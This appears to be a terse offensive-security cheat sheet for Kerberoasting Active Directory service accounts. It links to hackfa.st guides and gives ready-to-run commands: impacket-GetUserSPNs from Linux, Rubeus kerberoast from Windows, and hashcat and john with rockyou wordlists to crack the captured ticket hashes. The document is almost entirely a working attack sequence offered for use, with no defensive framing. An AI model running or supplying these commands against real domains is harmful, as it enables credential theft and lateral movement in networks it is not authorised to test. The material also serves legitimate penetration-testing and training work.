Kerberoasting

Linux

https://hackfa.st/Offensive-Security/Active-Directory/Initial-Attack-Vectors/Kerberoasting/From-Linux/

sudo impacket-GetUserSPNs -request -dc-ip $ip domain.local/username

Windows

https://hackfa.st/Offensive-Security/Active-Directory/Initial-Attack-Vectors/Kerberoasting/From-Windows/#rubeus-for-advanced-kerberoasting-techniques

.\Rubeus.exe kerberoast /outfile:hashes.txt

Cracking

sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt <AS_REP_responses_file>